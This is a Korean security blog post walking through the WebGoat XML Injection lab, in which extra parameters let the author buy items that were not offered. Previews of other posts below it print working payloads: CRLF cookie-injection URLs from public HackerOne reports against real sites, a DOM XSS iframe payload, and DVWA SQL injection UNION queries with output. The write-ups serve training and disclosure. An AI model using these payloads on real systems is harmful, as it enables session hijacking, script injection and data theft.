기본 콘텐츠로 건너뛰기

XML Injection

XML Injection




[Description]

XML Injection은 서버로부터 전달되는 XML문을 중간에 가로채서 코드를 수정하는 것입니다. WebGoat t-shirt , WebGoat Secure Kettle 등 구매 가능한 물품이 5개가 존재하며
자신의 account ID 를 입력하여 물건을 구매할수가 있습니다.
우리의 목표는 위 존재하는 5개의 물건 모두 구매를 하는것입니다.



[그림1]




[그림1] 자신의 account ID 를 입력한 그림.

자신의 account ID 를 입력 시 구매가능한 물품이 출력되지만,
구매해야할 5개의 물품이 아닌 3개의 물품만 출력됩니다. 





[그림2]



[그림2] 구매가능한 물품 3개를 체크한 후 , Submit 을 누른 그림.

현재 구매 가능한 물품 3개를 모두 체크한 후 , Submit 을 누르면 check 라는 매개변수를 통해 순서대로 값을 전달하고 있습니다.

따라서 , check 매개변수를 임의로 추가하여 보낼 시 구매가 가능한지에 대한 취약점 진을 시도합니다.



[그림3]



[그림3] 임의로 check 를 추가하여 값을 전달하는 그림.

check 변수를 임의로 추가하여 값을 전달하여 코드 수정이 가능한지 진단합니다.



[그림4]



[그림4] 코드 수정이 가능하여 성공적으로 물품을 구매가 가능한 그림. 

check 매개변수를 임의로 추가해줌으로써 [그림4] 와 같이 구매할수없던 물품을 구매가 가능합니다.



[그림5]



[그림5] XML Injection 에 취약한 Content-Type : text/xml 사용 여부 그림.


Content-Type : text/xml 경우 공격자는 XML주입이 시도가 가능합니다. 따라서 공격자는 중간에 코드를 가로채서 공격자가 의도한 대로 코드 추가하여 공격이 가능합니다.


[impact]

공격자는 XML 주입을 통해 공격자가 원하는 코드를 삽입함으로써 외부 코드 호출 및 시스템 변조 등 악영향을 미칠수있습니다.

댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

DVWA SQL Injection

DVWA  SQL Injection low [그림 1] Summary [그림1] 는 SQLInjection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다 Description [그림 1] 은 ' , # , -- ,= 등 SQLInjection 에 취약한 특수문자등을 필터링하지 않아 SQL주입이 가능합니다. Steps to reproduce ORDER BY Query 1' order by 1,2# User ID:    ID: 1' ORDER BY 1,2# First name: admin Surname: admin UNION Query ' UNION SELECT 1,@@version#  User ID:    ID: 1' UNION SELECT 1,version()# First name: admin Surname: admin ID: 1' UNION SELECT 1,version()# First name: 1 Surname: 10.4.8-MariaDB ' UNION ALL SELECT 1,column_name from information_schema.columns# User ID:    ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: user_id ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: first_name ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: last_name ID: ' UNION ALL SELECT 1,column_name from in...